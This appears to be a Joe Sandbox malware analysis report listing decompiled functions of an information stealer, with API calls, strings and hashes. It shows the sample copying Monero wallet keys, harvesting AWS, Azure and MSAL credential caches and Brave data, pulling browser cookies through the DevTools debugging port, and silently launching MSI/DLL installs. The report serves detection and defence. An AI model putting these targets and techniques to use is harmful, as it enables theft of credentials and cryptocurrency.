Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNextlstrlen
String ID: Brave$Preferences$\Brave\Preferences
API String ID: 1349006732-1230934161
Opcode ID: f8983d7553ba7d6dac1791bc2a641d73635b6f23c340de3705a49bf6003ce883
Instruction ID: c9d1a339694857326ae16e483232a6010061a8df857c3e415b78f3af58ca647c
Opcode Fuzzy Hash: f8983d7553ba7d6dac1791bc2a641d73635b6f23c340de3705a49bf6003ce883
Instruction Fuzzy Hash: C8626170A012158FCF64EF69C844A99B7F6BF44314F1982ADE849AB361DB76EC41CF50

Function 00696586 Relevance: 52.9, APIs: 29, Strings: 1, Instructions: 429
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006965A5
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006965E0
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0069660A
lstrcpy.KERNEL32(00000000,00000000), ref: 00696641
lstrcpy.KERNEL32(00000000,00000000), ref: 00696666
lstrcatA.KERNEL32(00000000,00000000), ref: 0069666E
lstrcpy.KERNEL32(00000000,00000000), ref: 00696697

Strings

\..\, xrefs: 00696781, 006967AC

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID: \..\
API String ID: 2938889746-4220915743
Opcode ID: 7238bae28054a8400a0be03ffb991978a6136abb37b6db189a434da84e61f0f1
Instruction ID: ab37c3f8271ff7c2ec0535ad3924bec5b4e6bee0f0934d0a724e1a9adfff5696
Opcode Fuzzy Hash: 7238bae28054a8400a0be03ffb991978a6136abb37b6db189a434da84e61f0f1
Instruction Fuzzy Hash: 95F17C709113069FCF21BF69D859AAE7BFAAF44300F044268F85AA7751DB38DC42CB95

Function 0069C1D0 Relevance: 47.8, APIs: 15, Strings: 12, Instructions: 599stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069C210
lstrcpy.KERNEL32(00000000,00000000), ref: 0069C43B
lstrcatA.KERNEL32(00000000), ref: 0069C445
lstrcpy.KERNEL32(00000000,00000000), ref: 0069C473
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069C4B2

Part of subcall function 006A4250: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 006A427D
Part of subcall function 006A4250: lstrcpy.KERNEL32(00000000,?), ref: 006A42B2

Part of subcall function 006A74D0: lstrcpy.KERNEL32(00000000), ref: 006A74FF
Part of subcall function 006A74D0: lstrcatA.KERNEL32(00000000,?,?,006851B7), ref: 006A750B

Part of subcall function 006A7520: lstrlenA.KERNEL32(?,00686E30), ref: 006A752B
Part of subcall function 006A7520: lstrcpy.KERNEL32(00000000), ref: 006A754F
Part of subcall function 006A7520: lstrcatA.KERNEL32(?,?), ref: 006A7559

Part of subcall function 006A7490: lstrcpy.KERNEL32(00000000), ref: 006A74BE

lstrcpy.KERNEL32(00000000,00000000), ref: 0069C5BF
lstrcpy.KERNEL32(00000000,?), ref: 0069C5E8
ShellExecuteEx.SHELL32(0000003C), ref: 0069C654

Strings

pKk, xrefs: 0069C579
/i ", xrefs: 0069C8DC
"" , xrefs: 0069C515
Nk, xrefs: 0069C9AE
<, xrefs: 0069C981
\Lk, xrefs: 0069C713
.dll, xrefs: 0069C685
pKk, xrefs: 0069C925
.msi, xrefs: 0069C85E
pKk, xrefs: 0069C6EF
/passive, xrefs: 0069C949
pKk, xrefs: 0069C539

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShelllstrlen
String ID: /i "$ /passive$"" $.dll$.msi$<$\Lk$pKk$pKk$pKk$pKk$Nk
API String ID: 58369069-4157409636
Opcode ID: 10e4e595cfff832f902033e3367eb045301060d4d4f89b56c77efa0866c2eddf
Instruction ID: 2e3fd98656476fb59a30141370ecfc8458104d3c4f9867953c5817d853a4aee1
Opcode Fuzzy Hash: 10e4e595cfff832f902033e3367eb045301060d4d4f89b56c77efa0866c2eddf
Instruction Fuzzy Hash: 29326B71D1021A8BCF60FFB4DC8569EBBF6EF49310F1545A9E509A7212DB30AE468F84

Function 00681190 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 278stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006811AA

Part of subcall function 00681120: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00681135
Part of subcall function 00681120: HeapAlloc.KERNEL32(00000000), ref: 0068113C
Part of subcall function 00681120: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,?), ref: 00681159
Part of subcall function 00681120: RegQueryValueExA.ADVAPI32(?,wallet_path,00000000,00000000,00000000,000000FF), ref: 00681173
Part of subcall function 00681120: RegCloseKey.ADVAPI32(?), ref: 0068117D

lstrcatA.KERNEL32(?,00000000), ref: 006811C0
lstrlenA.KERNEL32(?), ref: 006811CD
lstrcatA.KERNEL32(?,.keys), ref: 006811E8
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068121F
lstrlenA.KERNEL32(0125D918), ref: 0068122D
lstrcpy.KERNEL32(00000000,?), ref: 00681251
lstrcatA.KERNEL32(00000000,0125D918), ref: 00681259
lstrlenA.KERNEL32(\Monero\wallet.keys), ref: 00681264
lstrcpy.KERNEL32(00000000,00000000), ref: 00681288
lstrcatA.KERNEL32(00000000,\Monero\wallet.keys), ref: 00681294
lstrcpy.KERNEL32(00000000,00000000), ref: 006812BA
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006812FF
lstrlenA.KERNEL32(012602F8), ref: 0068130E
lstrcpy.KERNEL32(00000000,?), ref: 00681335
lstrcatA.KERNEL32(00000000,?), ref: 0068133D
lstrcpy.KERNEL32(00000000,00000000), ref: 00681378
lstrcatA.KERNEL32(00000000), ref: 00681385
lstrcpy.KERNEL32(00000000,00000000), ref: 006813AC
CopyFileA.KERNEL32(?,?,00000001), ref: 006813D5
lstrcpy.KERNEL32(00000000,?), ref: 00681401
lstrcpy.KERNEL32(00000000,?), ref: 0068143D

Part of subcall function 0069EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0069EFF2

DeleteFileA.KERNEL32(?), ref: 00681471
memset.MSVCRT ref: 0068148E

Strings

\Monero\wallet.keys, xrefs: 0068125F, 0068128E
.keys, xrefs: 006811DC

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeapmemset$AllocCloseCopyDeleteOpenProcessQueryValue
String ID: .keys$\Monero\wallet.keys
API String ID: 2734118222-3586502688
Opcode ID: 94584e98d69f4850afaea6585823c9f2d8cdecae60a10f99d9b2fcb3b76a0e3e
Instruction ID: a959326746fc30d9d1e291090516ba8d3de1db3c9382cd774f697e499386bdde
Opcode Fuzzy Hash: 94584e98d69f4850afaea6585823c9f2d8cdecae60a10f99d9b2fcb3b76a0e3e
Instruction Fuzzy Hash: 6CA18171A11206ABCB21FBB5DC99ADE77BAFF49300F040268F945E7251DB34DE428B94

Function 00695900 Relevance: 45.5, APIs: 30, Instructions: 486stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00695935
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00695964
lstrcpy.KERNEL32(00000000,00000000), ref: 00695995
lstrcpy.KERNEL32(00000000,00000000), ref: 006959BD
lstrcatA.KERNEL32(00000000,00000000), ref: 006959C8
lstrcpy.KERNEL32(00000000,00000000), ref: 006959F0
lstrcpy.KERNEL32(00000000,00000000), ref: 00695A28
lstrcatA.KERNEL32(00000000,00000000), ref: 00695A33
lstrcpy.KERNEL32(00000000,00000000), ref: 00695A58
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00695A8E
lstrcpy.KERNEL32(00000000,00000000), ref: 00695AB6
lstrcatA.KERNEL32(00000000,00000000), ref: 00695AC1
lstrcpy.KERNEL32(00000000,00000000), ref: 00695AE8
lstrlenA.KERNEL32(006B179C), ref: 00695AFA
lstrcpy.KERNEL32(00000000,00000000), ref: 00695B19
lstrcatA.KERNEL32(00000000,006B179C), ref: 00695B25
lstrlenA.KERNEL32(012600D0), ref: 00695B34
lstrcpy.KERNEL32(00000000,00000000), ref: 00695B57
lstrcatA.KERNEL32(00000000,00000000), ref: 00695B62
lstrcpy.KERNEL32(00000000,00000000), ref: 00695B8C
lstrcpy.KERNEL32(00000000,00000000), ref: 00695BB8
GetFileAttributesA.KERNEL32(00000000), ref: 00695BBF
lstrcpy.KERNEL32(00000000,?), ref: 00695C17
lstrcpy.KERNEL32(00000000,?), ref: 00695C8D
lstrcpy.KERNEL32(00000000,?), ref: 00695CB6
lstrcpy.KERNEL32(00000000,?), ref: 00695CE9
lstrcpy.KERNEL32(00000000,00000000), ref: 00695D15
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00695D4F
lstrcpy.KERNEL32(00000000,?), ref: 00695DAC
lstrcpy.KERNEL32(00000000,00000000), ref: 00695DD0

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFileFolderPath
String ID:
API String ID: 2428362635-0
Opcode ID: aeea0fbe9dae26025c776efb6de1f986cd1b76a34edb82314ef28a2d0638fab7
Instruction ID: ddcbc3184088d2d9e89967ce5374391812b69367148db812faf87864c2dedfd7
Opcode Fuzzy Hash: aeea0fbe9dae26025c776efb6de1f986cd1b76a34edb82314ef28a2d0638fab7
Instruction Fuzzy Hash: 980290719016069FCF22BFA9D899AEE7BFAAF44300F144268F846A7750DB34DC45CB94

Function 006892B0 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006890C0: InternetOpenA.WININET(006ACFF4,00000001,00000000,00000000,00000000), ref: 006890DF
Part of subcall function 006890C0: InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 006890FC
Part of subcall function 006890C0: InternetCloseHandle.WININET(00000000), ref: 00689109
Part of subcall function 006890C0: strlen.MSVCRT ref: 00689125

strlen.MSVCRT ref: 006892E1
strlen.MSVCRT ref: 006892FA

Part of subcall function 00697F70: memchr.MSVCRT ref: 00697FAF
Part of subcall function 00697F70: memcmp.MSVCRT(00000000,?,?,?,"webSocketDebuggerUrl":,00000000), ref: 00697FC9
Part of subcall function 00697F70: memchr.MSVCRT ref: 00697FE8

Part of subcall function 00688980: std::_Xinvalid_argument.LIBCPMT ref: 00688996

memset.MSVCRT ref: 00689341
lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0068935C
lstrcatA.KERNEL32(?,00000000), ref: 00689372
strlen.MSVCRT ref: 00689399
strlen.MSVCRT ref: 006893E6
memcmp.MSVCRT(?,006ACFF4,?), ref: 0068940B
memset.MSVCRT ref: 00689532
lstrcatA.KERNEL32(?,cookies), ref: 00689547
lstrcatA.KERNEL32(?,006B179C), ref: 00689559
lstrcatA.KERNEL32(?,?), ref: 0068956A
lstrcatA.KERNEL32(?,006B4BA8), ref: 0068957C
lstrcatA.KERNEL32(?,?), ref: 0068958D
lstrcatA.KERNEL32(?,.txt), ref: 0068959F
lstrlenA.KERNEL32(?), ref: 006895B6
lstrlenA.KERNEL32(?), ref: 006895DB
lstrcpy.KERNEL32(00000000,?), ref: 00689614
memset.MSVCRT ref: 0068965C

Strings

ws://localhost:9229, xrefs: 00689350
.txt, xrefs: 00689593
cookies, xrefs: 0068953B
localhost, xrefs: 006892CA, 006892E8
/devtools, xrefs: 006892F5, 00689300

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcat$strlen$Internetmemset$Openlstrlenmemchrmemcmp$CloseHandleXinvalid_argumentlstrcpystd::_
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 2819545660-3542011879
Opcode ID: 385f6c6efbaa0c9db6dd6b744a865656f3b40566d87598d51e3994428a9088bd
Instruction ID: f1243ec28c9e565e8320329778c36c985fa7288b4d7e7c5937ac252f6911769f
Opcode Fuzzy Hash: 385f6c6efbaa0c9db6dd6b744a865656f3b40566d87598d51e3994428a9088bd
Instruction Fuzzy Hash: B3E10671E002199BDF54EFA8D880AEDBBF6BF48300F1445A9E509A7241DB309E85CF95

Function 0069E900 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 199stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0069E920
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0069E949
lstrcpy.KERNEL32(00000000,?), ref: 0069E97F
lstrcatA.KERNEL32(?,00000000), ref: 0069E98D
lstrcatA.KERNEL32(?,\.azure\), ref: 0069E9A6
memset.MSVCRT ref: 0069E9E5
SHGetFolderPathA.SHELL32(00000000,00000028,00000000,00000000,?), ref: 0069EA0D
lstrcpy.KERNEL32(00000000,?), ref: 0069EA3F
lstrcatA.KERNEL32(?,00000000), ref: 0069EA4D
lstrcatA.KERNEL32(?,\.aws\), ref: 0069EA66
memset.MSVCRT ref: 0069EAA5
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0069EAD1
lstrcpy.KERNEL32(00000000,?), ref: 0069EB00
lstrcatA.KERNEL32(?,00000000), ref: 0069EB0E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0069EB27
memset.MSVCRT ref: 0069EB66

Strings

*.*, xrefs: 0069E9C1, 0069EA81
\.IdentityService\, xrefs: 0069EB1B
Azure\.IdentityService, xrefs: 0069EB3D
\.aws\, xrefs: 0069EA5A
msal.cache, xrefs: 0069EB42
Azure\.azure, xrefs: 0069E9BC
Azure\.aws, xrefs: 0069EA7C
\.azure\, xrefs: 0069E99A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$FolderPathlstrcpy
String ID: *.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4067350539-3645552435
Opcode ID: ed64de642bb6473d44d45be09d6d72b5c68b4bfb368a181c37c9f3fce23f4f9f
Instruction ID: a8c7eda28c35f53d4364a436533ce083eb34254d6828216b21bcdf0db269c61d
Opcode Fuzzy Hash: ed64de642bb6473d44d45be09d6d72b5c68b4bfb368a181c37c9f3fce23f4f9f
Instruction Fuzzy Hash: A771F8B1A40219ABDB65FB64DC86FED7379FF48700F010598B719AB181DF709E848B98

Function 006A1E72 Relevance: 37.7, APIs: 25, Instructions: 165COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 006A1E82

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 17d3cd6e00b91617144d9535e6f80a2cabdb3c62edb4d03feabf3b9ff25dbb3c
Instruction ID: 558e876346bbedec918ba278269a3886edbb78c031d6565c06087e55edac1e03
Opcode Fuzzy Hash: 17d3cd6e00b91617144d9535e6f80a2cabdb3c62edb4d03feabf3b9ff25dbb3c
Instruction Fuzzy Hash: 38516C31540617EFCB61BBA5DC59BAE77BBBF46701F044228F906A6261DF309D01CB64

Function 006973C0 Relevance: 36.8, APIs: 24, Instructions: 846stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00688FC0: ??2@YAPAXI@Z.MSVCRT(00000020), ref: 00688FC9

Part of subcall function 006A49F0: LoadLibraryA.KERNEL32(ws2_32.dll,?,006973E4), ref: 006A49F6
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,connect), ref: 006A4A0C
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 006A4A1D
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 006A4A2E
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,htons), ref: 006A4A3F
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 006A4A50
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,recv), ref: 006A4A61
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,socket), ref: 006A4A72
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 006A4A83
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,closesocket), ref: 006A4A94
Part of subcall function 006A49F0: GetProcAddress.KERNEL32(00000000,send), ref: 006A4AA5

StrCmpCA.SHLWAPI(?,0125D8D8), ref: 00697413
lstrcpy.KERNEL32(00000000,?), ref: 00697451
lstrcpy.KERNEL32(00000000,?), ref: 00697477
lstrcpy.KERNEL32(00000000), ref: 006974C2
lstrcpy.KERNEL32(00000000,?), ref: 006974E8
StrCmpCA.SHLWAPI(?,0125D838), ref: 00697504
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0069753E
lstrlenA.KERNEL32(006B179C), ref: 00697549
lstrcpy.KERNEL32(00000000,00000000), ref: 00697569
lstrcatA.KERNEL32(00000000,006B179C), ref: 00697575
lstrcpy.KERNEL32(00000000,00000000), ref: 006975A4
lstrcatA.KERNEL32(00000000,00000000), ref: 006975B1
lstrlenA.KERNEL32(006B179C), ref: 006975BC
lstrcpy.KERNEL32(00000000,00000000), ref: 006975D9
lstrcatA.KERNEL32(00000000,006B179C), ref: 006975E5
lstrcpy.KERNEL32(00000000,?), ref: 0069779F
lstrcpy.KERNEL32(00000000,?), ref: 006977C5
lstrcpy.KERNEL32(00000000,?), ref: 00697813
lstrcpy.KERNEL32(00000000), ref: 00697838
lstrcpy.KERNEL32(00000000,?), ref: 0069785E
StrCmpCA.SHLWAPI(?,0125D7B8), ref: 006978E9
lstrcpy.KERNEL32(00000000), ref: 0069794C
lstrcpy.KERNEL32(00000000,?), ref: 00697972
lstrcpy.KERNEL32(00000000,00000000), ref: 00697614

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$AddressProc$lstrcat$lstrlen$??2@LibraryLoad
String ID:
API String ID: 876951027-0
Opcode ID: 9612c969af3879c2ec795371b4a1c4df5cca443c92ff72511853c0b15ea7e9c7
Instruction ID: 079e73d1503234120164ef9ea92ccbbc19b65f1d6b5022c4b4d909447da55b1b
Opcode Fuzzy Hash: 9612c969af3879c2ec795371b4a1c4df5cca443c92ff72511853c0b15ea7e9c7
Instruction Fuzzy Hash: 10723C70A252028FDF18DF29C558AA9B7FABF44314B19C1ADD849DB7A1D735EC42CB80

Function 006948C0 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 309stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 006948F3
LocalAlloc.KERNEL32(00000040,?), ref: 00694925
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694972
lstrlenA.KERNEL32(006B4B70), ref: 0069497D
lstrcpy.KERNEL32(00000000,00000000), ref: 0069499A
lstrcatA.KERNEL32(00000000,006B4B70), ref: 006949A6
lstrcpy.KERNEL32(00000000,00000000), ref: 006949CB
lstrcpy.KERNEL32(00000000,00000000), ref: 006949F8
lstrcatA.KERNEL32(00000000,00000000), ref: 00694A03
lstrcpy.KERNEL32(00000000,00000000), ref: 00694A2A
StrStrA.SHLWAPI(?,00000000), ref: 00694A3C
lstrlenA.KERNEL32(?), ref: 00694A50
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694A91
lstrcpy.KERNEL32(00000000,?), ref: 00694B18
lstrcpy.KERNEL32(00000000,?), ref: 00694B41
lstrcpy.KERNEL32(00000000,?), ref: 00694B6A
lstrcpy.KERNEL32(00000000,?), ref: 00694B90
lstrcpy.KERNEL32(00000000,?), ref: 00694BBD

Strings

^userContextId=4294967295, xrefs: 00694AB4
moz-extension+++, xrefs: 00694A97

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
